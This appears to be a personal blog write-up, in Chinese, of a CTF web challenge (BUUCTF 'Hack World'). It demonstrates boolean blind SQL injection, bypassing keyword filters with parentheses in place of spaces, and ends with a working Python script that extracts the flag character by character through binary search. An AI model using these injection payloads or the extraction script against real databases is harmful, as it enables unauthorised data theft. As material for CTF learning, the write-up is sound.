Z1d10tのBlog

A note for myself,have fun!

buuctf CISCN2019 华北赛区 Day2 Web1]Hack World

这道题是一道比较经典的布尔盲注的题目,也就全当作是学习了。

img

题目表示flag在flag表里的flag字段里 这点就很可疑

输入 1,2都有正确的回显

输入1'时显示

img

显示布尔(错误),这里就可以判断是布尔注入了

好好学习一下布尔盲注的知识:

这里有篇布尔盲注的的文章:https://blog.csdn.net/wangyuxiang946/article/details/123486880 可以学习学习

substr(string,开始1,长度)函数 用于截取字符串的部分字符串

asscii() 用于将字符转化成ascii编码

这里本地搭了一个环节测试

img

在题目测试一下

1
select ascii(substr((select flag from flag),1,1))

img

发现被过滤了 fuzz一下哪些被过滤了

img

发现一些常用的 空格 or union 都被过滤了 /**/绕过空格也被过滤了 所以只能用()来绕过

构造payload:

1
select(ascii(substr((select(flag)from(flag),1,1)))

img

正常回显了

这里再用到mysql 的if语句

if(条件,成功回显,失败回显)

本地测试

img

这是为什么条件等于84 是因为 我本地flag的第一个字母为T ascii编码为84

构造payload:if(ascii(substr((select(flag)from(flag)),1,1))=102,1,0)

img

成功回显 至于为什么是102 因为flag开头f 的ascii编码为102

那么就可以借助脚本,这里因为我python没怎么学,脚本不会写

但是整体脚本思路为 当匹配字符ascii 与题目相同时回显1 否则回显0 脚本根据题目回显的语句进行判断

然后遍历整个32-126 ascii编码字符

这里放一下大佬的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import time
import re
url='http://4fdaca11-2d67-4dbe-b046-a42e64af5917.node4.buuoj.cn:81/index.php'
flag = ''
for i in range(1,43):
max= 127
min = 0
for c in range(0,127):
s = (int)((max+min)/2)
payload = '0^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')'
r = requests.post(url,data = {'id':payload})
time.sleep(0.005)
if 'Hello, glzjin wants a girlfriend.' in str(r.content):
min=s
else:
max=s
if((max-min)<=1):
flag+=chr(max)
print(flag)
break

以后有时间要滚去学习写写脚本了qwq

img

本文最后更新于 天前,文中所描述的信息可能已发生改变